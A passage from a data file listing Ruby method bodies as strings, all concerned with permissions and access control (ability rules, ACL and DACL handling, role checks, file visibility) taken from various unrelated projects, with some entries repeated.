mask\n }\n }\n\n unless SetSecurityDescriptorDacl(sec_desc, 1, acl_new, 0)\n raise SystemCallError.new(\"SetSecurityDescriptorDacl\", FFI.errno)\n end\n\n unless SetFileSecurityW(wide_file, DACL_SECURITY_INFORMATION, sec_desc)\n raise SystemCallError.new(\"SetFileSecurity\", FFI.errno)\n end\n\n self\n end",
"def set_access_levels\n user_access_controls.each(&:disable!) if persisted? && disabled\n end",
"def discovery_permissions\n @discovery_permissions ||= %w[edit read]\n end",
"def fix_app_permissions(apps)\n apps.map { |path|\n fix_facl(path, app_acl_template(path))\n }.select { |report| report.updated || report.error }\n end",
"def fix_permissions\n unless RUBY_PLATFORM =~ /mswin32/\n message \"Making scripts executable\"\n chmod 0555, File.join(install_directory,'public','dispatch.fcgi')\n chmod 0555, File.join(install_directory,'public','dispatch.cgi')\n chmod 0555, Dir[File.join(install_directory,'script','*')]\n end\n end",
"def implied_perms_for(permissions)\n implied_permissions = []\n permissions.each do |p|\n next if p.class_name.to_sym == :any\n next unless p.target_class_exists?\n p.target_class.sg_priv_to_implied_privs[p.privilege].each do |pi|\n\tp_new = p.dup\n\tp_new.privilege = pi\n\timplied_permissions << p_new\n\tend\n end\n implied_permissions \n end",
"def enforce_new_permissions(opts={})\n #Call the HullAccessControlsEnforcement method for checking create/new permissions\n enforce_create_permissions\n end",
"def enforce_new_permissions(opts={})\n #Call the HullAccessControlsEnforcement method for checking create/new permissions\n enforce_create_permissions\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n\n # TODO: This area looks like it needs to be refactored.\n\n if current_user.admin?\n editor_abilities\n upload_abilities\n publish_abilities\n roles_abilities\n hard_delete_abilities\n import_admin_abilities\n user_abilities\n group_abilities\n can [:create, :destroy, :update], FeaturedWork\n can [:manage], Hydra::Admin::Collection\n\n can :create, TinymceAsset\n can [:create, :update], ContentBlock\n can :read, ContentBlock\n can :characterize, GenericFile\n end\n\n\n if current_user.manager?\n upload_abilities\n publish_abilities\n roles_abilities\n import_user_abilities\n can [:manage], Hydra::Admin::Collection do |admin_set|\n # Can manage admin sets within their assigned unit.\n current_user.osul_groups.include? admin_set.unit_group\n end\n can [:manage], Osul::Group do |group|\n # Can manage the groups the user is in or the groups of the units a user is assigned to.\n current_user.osul_groups.include? group or current_user.osul_groups.include? group.unit\n end\n can [:create], Osul::Group\n can [:create, :destroy, :update], FeaturedWork\n end\n\n if current_user.data_entry?\n upload_abilities\n publish_abilities\n no_admin_set_abilities\n end\n\n if current_user.data_entry_student?\n upload_abilities\n no_admin_set_abilities\n end\n\n unless current_user.public?\n can :view_full, GenericFile\n end\n\n if current_user.role.nil?\n no_file_abilities\n no_admin_set_abilities\n end\n end",
"def administrator_rights\n Lockdown::System.all_controllers_all_methods\n end",
"def check_permissions\n require_privilege(Privilege::USE, @environment)\n @environment.provider_accounts.reject! { |a| !check_privilege(Privilege::USE, a) }\n end",
"def allowed_acl(sid, expected_perms, flags = 0)\n acl = [ ACE.access_allowed(sid, expected_perms[:specific], flags) ]\n if expected_perms[:generic]\n acl << ACE.access_allowed(sid, expected_perms[:generic], (Chef::ReservedNames::Win32::API::Security::SUBFOLDERS_AND_FILES_ONLY))\n end\n acl\n end",
"def effective_permissions\n source = self\n\n while source.inherit && source.forum.parent\n source = source.forum.parent.forum_permissions.find_by(group: group)\n end\n\n source = group if source.inherit\n\n source\n end",
"def makePriv #:doc:\n if params[:i_am_client] and params[:groups] == nil\n # Groups were searched in editRights-method\n param_groups = @groups\n else\n param_groups = params[:groups]\n end\n \n # try to get file from database\n if not fetchFile\n if params[:i_am_client] \n render :text => \"File not found\", :status => 404\n return\n else\n @error = \"File not found!\"\n render \"viewFileRights\"\n return\n end\n end\n \n begin \n # all groups owned by user\n mygroups = Group.find(:all, :conditions => [\"user_id = ?\", @user.id])\n \n # all groups associated with the file\n filegroup_ids = Array.new\n @file.groups.find(:all).each do |t|\n filegroup_ids.push(t.id)\n end\n \n # check which groups should have access to file\n delete_auth_groups = \"\"\n mygroups.each do |mygroup|\n if param_groups[mygroup.name] == \"1\" and not filegroup_ids.include?(mygroup.id)\n # if group-checkbox is checked, group gets permission to access file\n @file.devfile_auth_groups.create(:group_id => mygroup.id)\n elsif param_groups[mygroup.name] == \"0\" and filegroup_ids.include?(mygroup.id)\n # if group-checkbox is not checked, unauthorize fileaccess to this file\n if delete_auth_groups == \"\" then delete_auth_groups += \"group_id IN (#{mygroup.id}\"\n else delete_auth_groups += \", #{mygroup.id}\" end\n end\n end\n if delete_auth_groups != \"\"\n delete_auth_groups += \") AND devfile_id = ?\"\n DevfileAuthGroup.delete_all([delete_auth_groups, @file.id])\n end\n \n # make file private\n @file.update_attribute(:privatefile, true)\n \n rescue => e\n puts \"Error in editing filerights: \" + e\n if params[:i_am_client] \n render :text => \"Error in editing filerights: \" + e, :status => 409\n return\n else\n @error = \"Error in editing filerights: \" + e\n render \"Error in editing filerights: \" + e\n return\n end\n end\n \n if params[:i_am_client]\n render :text => \"#{@file.name} visibility modified.\", :status => 200\n return\n else\n flash[:notice] = \"#{@file.name} visibility modified.\"\n redirect_to :action => \"viewFileRights\"\n end\n end",
"def enforce_show_permissions(_opts = {})\n permissions = current_ability.permissions_doc(solr_id)\n if (permissions['read_access_group_ssim'].present? && permissions['read_access_group_ssim'].include?('registered')) || can?(:discover, permissions)\n permissions\n else\n raise Blacklight::AccessControls::AccessDenied.new('You do not have sufficient access privileges to view this document, which has been marked private.', :discover, params[:id])\n end\n end",
"def custom_permissions\n discover_permissions\n export_sets_permissions\n batches_permissions\n preservation_events_permissions\n end",
"def enforce_edit_permissions(opts={})\n logger.debug(\"Enforcing edit permissions\")\n load_permissions_from_solr\n if !can? :edit, params[:id]\n session[:viewing_context] = \"browse\"\n raise Hydra::AccessDenied.new(\"You do not have sufficient privileges to edit this document. You have been redirected to the read-only view.\", :edit, params[:id])\n else\n session[:viewing_context] = \"edit\"\n end\n end",
"def remove_legacy_fees\n @legacy_deletes = Fee.where(category: \"FTR\").where(\"id < 400\").delete_all\n end",
"def discovery_permissions\n @discovery_permissions ||= [\"edit\",\"discover\",\"read\"]\n end",
"def clear_existing_access_conditions\n public_mods.xpath(\"//mods:accessCondition\", \"mods\" => ModsService::MODS_NS).each(&:remove)\n end",
"def prepare_permissions\n if current_ability.admin?\n else\n # Need to add admin group to current_ability\n # or presenter will not be accessible.\n current_ability.user_groups << \"admin\"\n if presenter.tombstone.present? \n else\n current_ability.user_groups.delete(\"admin\")\n end\n end\n end",
"def create_access_control\n nil\n end",
"def ephemera_editor_permissions\n ephemera_permissions\n can [:create, :read, :edit, :update, :publish], Collection\n can [:create, :read, :edit, :update, :publish, :download], FileSet\n can [:destroy], FileSet do |obj|\n obj.depositor == [current_user.uid]\n end\n end",
"def custom_permissions\n alias_action :show, :manifest, to: :read\n alias_action :color_pdf, :pdf, :edit, :browse_everything_files, :structure, :file_manager, to: :modify\n roles.each do |role|\n send \"#{role}_permissions\" if current_user.send \"#{role}?\"\n end\n end",
"def custom_permissions\n alias_action :show, :manifest, to: :read\n alias_action :color_pdf, :pdf, :edit, :browse_everything_files, :structure, :file_manager, to: :modify\n roles.each do |role|\n send \"#{role}_permissions\" if current_user.send \"#{role}?\"\n end\n end",
"def discovery_permissions\n @discovery_permissions ||= %w[edit discover read]\n end",
"def sync_aces(current_dacl, should_aces, should_purge = false, remove_permissions = false)\n if remove_permissions\n kept_aces = []\n current_dacl.each do |ace|\n next if ace.inherited?\n\n current_ace = Puppet::Type::Acl::Ace.new(convert_to_permissions_hash(ace), self)\n existing_aces = should_aces.select { |a| a.same?(current_ace) }\n next unless existing_aces.empty?\n\n kept_aces << current_ace\n end\n\n should_aces = kept_aces\n else\n return should_aces if should_purge\n\n current_dacl.each do |ace|\n # TODO: v2 should we warn if we have an existing inherited ace that matches?\n next if ace.inherited?\n\n current_ace = Puppet::Type::Acl::Ace.new(convert_to_permissions_hash(ace), self)\n existing_aces = should_aces.select { |a| a.same?(current_ace) }\n next unless existing_aces.empty?\n\n # munge in existing unmanaged aces\n case current_ace.perm_type\n when :deny\n last_allow_index = should_aces.index { |a| a.perm_type == :allow }\n should_aces.insert(last_allow_index, current_ace) if last_allow_index\n should_aces << current_ace unless last_allow_index\n when :allow\n should_aces << current_ace\n end\n end\n end\n\n should_aces\n end",
"def deny_all_access\n @permissions = 0\n end",
"def enforce_delete_permissions\n enforce_edit_permissions\n end",
"def enforce_destroy_permissions(opts={})\n enforce_edit_permissions(opts)\n end",
"def flush_permissions!\n @permissions = load_permissions\n end",
"def adjust_permissions # :norobots:\n pass_query_params\n if @description = find_description(params[:id].to_s)\n done = false\n\n # Doesn't have permission.\n if !@description.is_admin?(@user) and !is_in_admin_mode?\n flash_error(:runtime_description_adjust_permissions_denied.t)\n done = true\n\n # These types have fixed permissions.\n elsif [:public, :foreign].include?(@description.source_type) and\n !is_in_admin_mode?\n flash_error(:runtime_description_permissions_fixed.t)\n done = true\n\n # GET method.\n elsif request.method != :post\n @data = nil\n\n # POST method.\n else\n old_readers = @description.reader_groups.sort_by(&:id)\n old_writers = @description.writer_groups.sort_by(&:id)\n old_admins = @description.admin_groups.sort_by(&:id)\n\n # Update permissions on list of users and groups at the top.\n update_groups(@description, :readers, params[:group_reader])\n update_groups(@description, :writers, params[:group_writer])\n update_groups(@description, :admins, params[:group_admin])\n\n # Look up write-ins and adjust their permissions.\n @data = [nil]\n done = true\n for n in params[:writein_name].keys.sort\n name = params[:writein_name][n].to_s rescue ''\n reader = params[:writein_reader][n] == '1' rescue false\n writer = params[:writein_writer][n] == '1' rescue false\n admin = params[:writein_admin][n] == '1' rescue false\n if !name.blank? and\n !update_writein(@description, name, reader, writer, admin)\n @data << { :name => name, :reader => reader, :writer => writer,\n :admin => admin }\n flash_error(:runtime_description_user_not_found.t(:name => name))\n done = false\n end\n end\n\n # Were any changes made?\n new_readers = @description.reader_groups.sort_by(&:id)\n new_writers = @description.writer_groups.sort_by(&:id)\n new_admins = @description.admin_groups.sort_by(&:id)\n if (old_readers != new_readers) or\n (old_writers != new_writers) or\n (old_admins != new_admins)\n\n # Give feedback to assure user that their changes were made.\n flash_description_changes(old_readers, new_readers, :reader)\n flash_description_changes(old_writers, new_writers, :writer)\n flash_description_changes(old_admins, new_admins, :admin)\n\n # Keep the \"public\" flag updated.\n public = @description.reader_groups.include?(UserGroup.all_users)\n if @description.public != public\n @description.public = public\n @description.save\n end\n\n # Log change with Transaction.\n Transaction.send(\"put_#{@description.type_tag}\",\n :id => @description,\n :set_readers => @description.reader_groups,\n :set_writers => @description.writer_groups,\n :set_admins => @description.admin_groups\n )\n\n @description.parent.log(:log_changed_permissions,\n :user => @user.login, :touch => false,\n :name => @description.unique_partial_format_name)\n else\n flash_notice(:runtime_description_adjust_permissions_no_changes.t)\n end\n end\n\n if done\n redirect_to(:action => @description.show_action,\n :id => @description.id, :params => query_params)\n\n # Gather list of all the groups, authors, editors and owner.\n # If the user wants more they can write them in.\n else\n @groups = (\n [UserGroup.all_users] +\n @description.admin_groups.sort_by(&:name) +\n @description.writer_groups.sort_by(&:name) +\n @description.reader_groups.sort_by(&:name) +\n [UserGroup.reviewers]\n ) + (\n [@description.user] +\n @description.authors.sort_by(&:login) +\n @description.editors.sort_by(&:login) +\n [@user]\n ).map {|user| UserGroup.one_user(user)}\n @groups.uniq!\n @groups = @groups.reject {|g| g.name.match(/^user \\d+$/)} +\n @groups.select {|g| g.name.match(/^user \\d+$/)}\n end\n end\n end",
"def image_editor_permissions\n ephemera_permissions\n can [:read, :create, :modify, :update, :publish], curation_concerns\n can [:create, :read, :edit, :update, :publish, :download, :derive], FileSet\n can [:create, :read, :edit, :update, :publish], Collection\n\n # do not allow completing resources\n cannot [:complete], curation_concerns\n\n # only allow deleting for own objects, without ARKs\n can [:destroy], FileSet do |obj|\n obj.depositor == [current_user.uid]\n end\n can [:destroy], curation_concerns do |obj|\n obj.depositor == [current_user.uid]\n end\n cannot [:destroy], curation_concerns do |obj|\n !obj.try(:identifier).blank?\n end\n end",
"def elevate_priviledges\n old_authentication_level = SecurityContextHolder.getContext().getAuthentication()\n SecurityContextHolder.getContext().setAuthentication(ACL::SYSTEM)\n old_authentication_level\n end",
"def custom_permissions\n if admin?\n can [:confirm_delete], ActiveFedora::Base\n can [:allow_downloads, :prevent_downloads], AdminSet\n\n can :manage, Spotlight::HomePage\n can :manage, Spotlight::Exhibit\n end\n\n can :read, Spotlight::HomePage\n can :read, Spotlight::Exhibit\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end",
"def overwrite_dark_access(original)\n return original unless @cocina_item.access.view == 'dark'\n\n filtered_contained = original.contains.map do |file_set|\n filtered_files = file_set.structural.contains.map do |file|\n file.new(administrative: file.administrative.new(publish: false, shelve: false, sdrPreserve: true))\n end\n updated_structural = file_set.structural.new(contains: filtered_files)\n file_set.new(structural: updated_structural)\n end\n original.new(contains: filtered_contained)\n end",
"def custom_permissions\n if current_user.admin?\n can [:create, :show, :add_user, :remove_user, :index, :edit, :update, :destroy], Role\n can [:create], Collection\n can [:discover], Hydra::AccessControls::Embargo\n can [:discover], Hydra::AccessControls::Lease\n can [:create], [ CurationConcerns.config.curation_concerns ]\n can [:destroy], ActiveFedora::Base\n can [:permissions], [ CurationConcerns.config.curation_concerns ]\n end\n\n # Limits deleting objects to a the admin user\n #\n #if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n #end\n\n if current_user.has_role?('collection.manager')\n # can [:create, :show, :index, :edit, :update, :destroy], Collection\n can [:create], Collection\n end\n\n if current_user.has_role?('collection.depositor') or current_user.has_group_role?('collection.depositor')\n # can [:create, :show, :index, :edit, :update, :destroy], [ CurationConcerns.configuration.curation_concerns ]\n can [:create], [ CurationConcerns.config.curation_concerns ]\n # can [:show], Collection\n end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end",
"def disable_devise_for_cloudfuji_controllers!\n puts \"Disabling devise auth protection on cloudfuji controllers\"\n\n ::Cloudfuji::DataController.instance_eval { before_filter :authenticate_user!, :except => [:index] }\n ::Cloudfuji::EnvsController.instance_eval { before_filter :authenticate_user!, :except => [:update] }\n ::Cloudfuji::MailController.instance_eval { before_filter :authenticate_user!, :except => [:index] }\n\n puts \"Devise checks disabled for Cloudfuji controllers\"\n end",
"def delete_all_user_permissions\n self.permissions.each do |p|\n if p.contributor_type == 'User'\n p.destroy\n end\n end\n end",
"def add_permissions\n [\"License\", \"Archive\", \"Contract\"].each do |doc|\n klass = doc.constantize\n doc_id = \"#{doc.downcase}_id\".to_sym\n permissions = self.send(\"#{doc.downcase.pluralize.singularize}_permissions\".to_sym)\n klass.find(:all).each { |record|\n permissions.create doc_id => record.id, :ycrole_id => self.id,\n :can_read => false, :can_write => false\n }\n end\n end",
"def restore_permissions=(_arg0); end",
"def restore_permissions=(_arg0); end",
"def destroy_access_check\n permission_check('destroy')\n end",
"def destroy_access_check\n permission_check('destroy')\n end",
"def destroy_access_check\n permission_check('destroy')\n end",
"def custom_permissions\n #Collection Manager Permissions\n #Higher power than edit user...[Dont want edit users to be able to DELETE a COLLECTION??, (Delete a DO?)]\n if current_user.applicable_policy?(SETTING_POLICY_COLLECTION_MANAGER)\n #Marked as being able to :manage_collection\n can :manage_collection_flag, :all\n can :create, [DRI::Batch, DRI::GenericFile]\n end\n\n\n #Admin Permissions\n if current_user.applicable_policy?(SETTING_POLICY_ADMIN)\n can :admin_flag, :all\n #Disabled for now..\n can :manage, :all\n end\n\n #Create_do flag (alias for :edit collection)\n can :create_do, String do |pid|\n test_create(pid)\n end\n\n can :create_do, DRI::Batch do |collection|\n test_create(collection)\n end\n end",
"def get_current_permissions\n sd = get_security_descriptor(DO_NOT_REFRESH_SD)\n permissions = []\n unless sd.nil?\n permissions if sd.dacl.nil?\n sd.dacl.each do |ace|\n permissions << Puppet::Type::Acl::Ace.new(convert_to_permissions_hash(ace), self)\n end\n end\n permissions\n end",
"def add_user_access_controls(force: false, app_type: nil)\n changed_name = if respond_to? :table_name\n saved_change_to_table_name?\n elsif respond_to? :name\n saved_change_to_name?\n end\n\n return unless !persisted? || saved_change_to_disabled? || changed_name || force\n\n begin\n if ready_to_generate? || disabled? || force\n app_type ||= admin.matching_user_app_type\n Admin::UserAccessControl.create_template_control admin,\n app_type,\n :table,\n model_association_name,\n disabled: disabled\n end\n rescue StandardError => e\n raise FphsException,\n \"A failure occurred creating user access control for app with: #{model_association_name}.\\n#{e}\"\n end\n end",
"def update_permissions(new_permissions)\n new_permissions ||= []\n existing_permissons = permissions.map(&:controller)\n # determine what changed\n added = new_permissions - existing_permissons\n removed = existing_permissons - new_permissions\n # add/remove permissions\n added.each {|perm| permissions.create(:controller => perm) }\n permissions.where(:controller => removed).delete_all\n end",
"def grant_permissions( force_reload = false )\n permissions( force_reload ).select( &:is_grant? )\n end",
"def clean_bootstrap\n delete_acls\n\n OpenNebula::User.new_with_id(@vdc.VDCADMIN_ID, @client).delete\n OpenNebula::Group.new_with_id(@vdc.GROUP_ID, @client).delete\n end",
"def apply_superuser_permissions(permission_types)\n []\n end",
"def image_editor_permissions\n can [:read, :create, :modify, :update, :publish], curation_concerns\n can [:create, :read, :edit, :update, :publish, :download], FileSet\n can [:create, :read, :edit, :update, :publish], Collection\n\n # do not allow completing resources\n cannot [:complete], curation_concerns\n\n # only allow deleting for own objects, without ARKs\n can [:destroy], FileSet do |obj|\n obj.depositor == [current_user.uid]\n end\n can [:destroy], curation_concerns do |obj|\n obj.depositor == [current_user.uid]\n end\n cannot [:destroy], curation_concerns do |obj|\n !obj.identifier.blank?\n end\n end",
"def revoke_all_permissions\n update_column(:admin, nil)\n UserPermission.where(user_id: id).each(&:destroy)\n end",
"def set_rights_metadata\n self.edit_groups = ['Chronos-Pligtaflevering']\n self.read_groups = ['Chronos-Alle']\n self.discover_groups = ['Chronos-Alle']\n end",
"def custom_permissions\n can [:file_status, :stage, :unstage], FileSet\n\n if current_user.ingest_from_external_sources?\n end\n\n if current_user.manage_users?\n can [:show, :add_user, :remove_user, :index], Role\n end\n\n if current_user.manage_roles?\n can [:create, :show, :index, :edit, :update, :destroy], Role\n end\n\n if current_user.run_fixity_checks?\n can [:fixity], FileSet\n end\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end",
"def generate_permissions\n permissions = []\n Rails.application.eager_load!\n controllers = BaseController.descendants\n controllers.each do |c|\n controller_name = c.name.gsub(/Controller$/, '')\n controller = {}\n controller[:name] = controller_name.underscore\n controller[:actions] = []\n c.action_methods.each do |m|\n controller[:actions] << m unless m == 'method_missing'\n end\n permissions << controller\n end\n permissions\n end",
"def clear_accessors\n get_privacy_setting.accessors.clear\n end",
"def supported_privilege_set\n nil\n end",
"def update_scopes\n if @old_friendly_id != friendly_id\n friendly_id_config.child_scopes.each do |klass|\n Slug.all(:sluggable_type => klass, :scope => @old_friendly_id).update(:scope => friendly_id)\n end\n end\n end",
"def standard_authorized_user_rights\n Lockdown::System.public_access + Lockdown::System.protected_access \n end",
"def supported_privilege_set\n nil\n end",
"def reset_permissions_for(item)\n item.edit_groups = []\n item.edit_users = []\n item.read_groups = []\n item.read_users = []\n end",
"def modify_description_permissions\n old_read = @description.public_was\n new_read = @description.public\n old_write = @description.public_write_was\n new_write = (@description.public_write == \"1\")\n\n # Ensure these special types don't change,\n case @description.source_type\n when \"public\"\n flash_warning(:runtime_description_public_read_wrong.t) unless new_read\n unless new_write\n flash_warning(:runtime_description_public_write_wrong.t)\n end\n new_read = true\n new_write = true\n when \"foreign\"\n flash_warning(:runtime_description_foreign_read_wrong.t) unless new_read\n flash_warning(:runtime_description_foreign_write_wrong.t) if new_write\n new_read = true\n new_write = false\n end\n\n new_readers = []\n new_writers = []\n\n # \"Public\" means \"all users\" group.\n if !old_read && new_read\n new_readers << UserGroup.all_users\n @description.public = true\n end\n new_writers << UserGroup.all_users if !old_write && new_write\n\n # \"Not Public\" means only the owner...\n if old_read && !new_read\n new_readers << UserGroup.one_user(@description.user)\n end\n if old_write && !new_write\n new_writers << UserGroup.one_user(@description.user)\n end\n\n # ...except in the case of projects.\n if (@description.source_type == \"project\") &&\n (project = @description.project)\n if old_read && !new_read\n # Add project members to readers.\n new_readers << project.user_group\n end\n if old_write && !new_write\n # Add project admins to writers.\n new_writers << project.admin_group\n end\n end\n end",
"def edit_permissions\n can [:edit, :update], String do |pid|\n Rails.logger.debug(\"[EDITPERM] Checking from STRING\")\n test_edit(pid)\n end\n\n can [:edit, :update, :destroy], DRI::Batch do |obj|\n Rails.logger.debug(\"[EDITPERM] Checking from Batch\")\n test_edit(obj.id)\n end\n\n can [:edit, :update, :destroy], DRI::GenericFile do |obj|\n Rails.logger.debug(\"[EDITPERM] Checking from GenericFile\")\n test_edit(obj.id)\n end\n\n can :edit, SolrDocument do |obj|\n Rails.logger.debug(\"[EDITPERM] Checking from SOLRDOC\")\n cache.put(obj.id, obj)\n test_edit(obj.id)\n end\n end",
"def existing_doc_permissions\n a = \"addarea_existing_mylibrary_container\"\n b = \"addarea_existing_everywhere_container\"\n c = \"addarea_existing_currentlyviewing_container\"\n case\n when @browser.div(:id=>a).visible?\n return @browser.div(:id=>a).select(:name=>\"addarea_existing_permissions\")\n when @browser.div(:id=>b).visible?\n return @browser.div(:id=>b).select(:name=>\"addarea_existing_permissions\")\n when @browser.div(:id=>c).visible?\n return @browser.div(:id=>c).select(:name=>\"addarea_existing_permissions\")\n end\n end",
"def remove_all_vrfs\n require_relative '../lib/cisco_node_utils/vrf'\n Vrf.vrfs.each do |vrf, obj|\n next if vrf[/management/]\n # TBD: Remove vrf workaround below after CSCuz56697 is resolved\n config 'vrf context ' + vrf if\n node.product_id[/N9K.*-F/] || node.product_id[/N3K.*-F/]\n obj.destroy\n end\n end",
"def change_permissions(where)\n logger.info \"Changing permissions in #{where} for:\"\n r = execute_query(\n %Q{\n xquery version \"1.0-ml\";\n\n let $new-permissions := (\n xdmp:permission(\"#{@properties[\"ml.app-name\"]}-role\", \"read\"),\n xdmp:permission(\"#{@properties[\"ml.app-name\"]}-role\", \"update\"),\n xdmp:permission(\"#{@properties[\"ml.app-name\"]}-role\", \"execute\")\n )\n\n let $uris :=\n if (fn:contains(xdmp:database-name(xdmp:database()), \"content\")) then\n\n (: This is to make sure all alert files are accessible :)\n cts:uri-match(\"*alert*\")\n\n else\n\n (: This is to make sure all triggers, schemas, modules and REST extensions are accessible :)\n cts:uris()\n\n let $fixes := \n for $uri in $uris\n let $existing-permissions := xdmp:document-get-permissions($uri)\n \n (: Only apply new permissions if really necessary (gives better logging too):)\n where not(ends-with($uri, \"/\"))\n and count($existing-permissions[fn:string(.) = $new-permissions/fn:string(.)]) ne 3\n \n return (\n \" \" || $uri,\n xdmp:document-set-permissions($uri, $new-permissions)\n )\n return\n if ($fixes) then\n $fixes\n else\n \" no changes needed..\"\n },\n { :db_name => where }\n )\n r.body = parse_body r.body\n logger.info r.body\n logger.info \"\"\n end",
"def deprecated_authorization_flows\n response_types = calculate_authorization_response_types\n\n if response_types.any?\n ::Kernel.warn <<~WARNING\n Please, don't patch Doorkeeper::Config#calculate_authorization_response_types method.\n Register your custom grant flows using the public API:\n `Doorkeeper::GrantFlow.register(grant_flow_name, **options)`.\n WARNING\n end\n\n response_types.map do |response_type|\n Doorkeeper::GrantFlow::FallbackFlow.new(response_type, response_type_matches: response_type)\n end\n end",
"def afp_inherit_perms=(inherit)\n @share_edit_args += [ \"-i\", inherit ? \"10\" : \"00\" ]\n end",
"def fix_visibility\n case params[:file_set][:visibility]\n when Hydra::AccessControls::AccessRight::VISIBILITY_TEXT_VALUE_PUBLIC, Hydra::AccessControls::AccessRight::VISIBILITY_TEXT_VALUE_PRIVATE, Hydra::AccessControls::AccessRight::VISIBILITY_TEXT_VALUE_AUTHENTICATED\n params[:file_set].delete :visibility_during_embargo\n params[:file_set].delete :embargo_release_date\n params[:file_set].delete :visibility_after_embargo\n params[:file_set].delete :visibility_during_lease\n params[:file_set].delete :lease_expiration_date\n params[:file_set].delete :visibility_after_lease\n when Hydra::AccessControls::AccessRight::VISIBILITY_TEXT_VALUE_LEASE\n params[:file_set][:visibility] = Hydra::AccessControls::AccessRight::VISIBILITY_TEXT_VALUE_PUBLIC\n params[:file_set].delete :visibility_during_embargo\n params[:file_set].delete :embargo_release_date\n params[:file_set].delete :visibility_after_embargo\n when Hydra::AccessControls::AccessRight::VISIBILITY_TEXT_VALUE_EMBARGO\n params[:file_set][:visibility] = Hydra::AccessControls::AccessRight::VISIBILITY_TEXT_VALUE_PRIVATE\n params[:file_set].delete :visibility_during_lease\n params[:file_set].delete :lease_expiration_date\n params[:file_set].delete :visibility_after_lease\n end\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n if current_user.admin?\n # Role management\n # don't allow :destroy, :edit, :create\n # - destroy adds a 'delete' button that\n # - could be clicked accidentally\n # - would be very infrequently used (if ever)\n # - implications of edit are unclear for associated actions\n # - create is meaningless without associating actions which happens in code.\n can [:read, :add_user, :remove_user], Role\n end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end",
"def access_controls_for(object)\n all_acls.select{ |ac| ac.access_to_id == object.id }\n end",
"def set_readonly_access(grant_access=true, manual_set=false)\n unless Rails.env.test? || self.queued_for_deletion || self.detached\n if manual_set || self.public_changed? || self.new_record?\n if self.firecloud_workspace.present? && self.firecloud_project.present? && ApplicationController.read_only_firecloud_client.present?\n access_level = self.public? ? 'READER' : 'NO ACCESS'\n if !grant_access # revoke all access\n access_level = 'NO ACCESS'\n end\n Rails.logger.info \"#{Time.zone.now}: setting readonly access on #{self.name} to #{access_level}\"\n readonly_acl = ApplicationController.firecloud_client.create_workspace_acl(ApplicationController.read_only_firecloud_client.issuer, access_level, false, false)\n ApplicationController.firecloud_client.update_workspace_acl(self.firecloud_project, self.firecloud_workspace, readonly_acl)\n end\n end\n end\n end",
"def build_permissions!\n #Deployment keys will keep the permissions even with non active projects\n @rewind_deploy = get_deploy_identifier(@rewind_deploy_keys)\n @read_deploy = get_deploy_identifier(@read_deploy_keys)\n\n if @project.active?\n @rewind = get_identifier(@rewind_users)\n @write = get_identifier(@write_users)\n @read = get_identifier(@read_users)\n active_project_gitolite_access\n else\n all_read = @rewind_users + @write_users + @read_users\n @read = get_identifier(all_read)\n @read << 'REDMINE_CLOSED_PROJECT' if @read.empty? && @read_deploy.empty?\n end\n\n convert_to_gitolite_format\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n\n if user_groups.include? ['all_project_writers']\n can [:create], PulStore::Base\n can [:create], PulStore::Lae::Box\n can [:create], PulStore::Lae::Folder\n can [:create], Pulstore::Lae::HardDrive\n end\n\n if user_groups.include? ['lae_project_writers']\n can [:create], PulStore::Lae::Box\n can [:create], PulStore::Lae::Folder\n can [:create], Pulstore::Lae::HardDrive\n end \n\n if user_groups.include? ['all_project_writers']\n can [:destroy], PulStore::Base\n end\n\n if user_groups.include? ['lae_project_readers', 'all_project_readers' ]\n can [:show], PulStore::Base\n end\n end",
"def set_dev_controls\n session_key = 'app.dev_controls'\n url_keys = %i[dev_controls app.dev_controls]\n parameters = url_keys.map { |k| [k, params.delete(k)] }.to_h.compact\n value = parameters.values.first\n if true?(value)\n session.delete(session_key)\n elsif false?(value)\n session[session_key] = false\n end\n will_redirect if parameters.present?\n end",
"def acls_equal(target_acl, actual_acl)\n if actual_acl.nil?\n return target_acl.nil?\n end\n\n actual_acl = actual_acl.select { |ace| !ace.inherited? }\n # When ACLs apply to children, Windows splits them on the file system into two ACLs:\n # one specific applying to this container, and one generic applying to children.\n new_target_acl = []\n target_acl.each do |target_ace|\n if target_ace.flags & INHERIT_ONLY_ACE == 0\n self_ace = target_ace.dup\n # We need flag value which is already being set in case of WRITE permissions as 3, so we will not be overwriting it with the hard coded value.\n self_ace.flags = 0 unless target_ace.mask == Chef::ReservedNames::Win32::API::Security::WRITE\n self_ace.mask = securable_object.predict_rights_mask(target_ace.mask)\n new_target_acl << self_ace\n end\n # As there is no inheritance needed in case of WRITE permissions.\n if target_ace.mask != Chef::ReservedNames::Win32::API::Security::WRITE && target_ace.flags & (CONTAINER_INHERIT_ACE | OBJECT_INHERIT_ACE) != 0\n children_ace = target_ace.dup\n children_ace.flags |= INHERIT_ONLY_ACE\n new_target_acl << children_ace\n end\n end\n actual_acl == new_target_acl\n end",
"def delete_standard_roles_from_user\n standard_roles = []\n [\"staff\", \"student\", \"guest\"].each {|r| standard_roles << Role.find_or_initialize_by_name(r) } \n\n self.roles.each do |role|\n if standard_roles.include?(role)\n #delete the role\n self.roles.delete(role)\n end\n end\t\t\n end",
"def permissions_policy(&block); end",
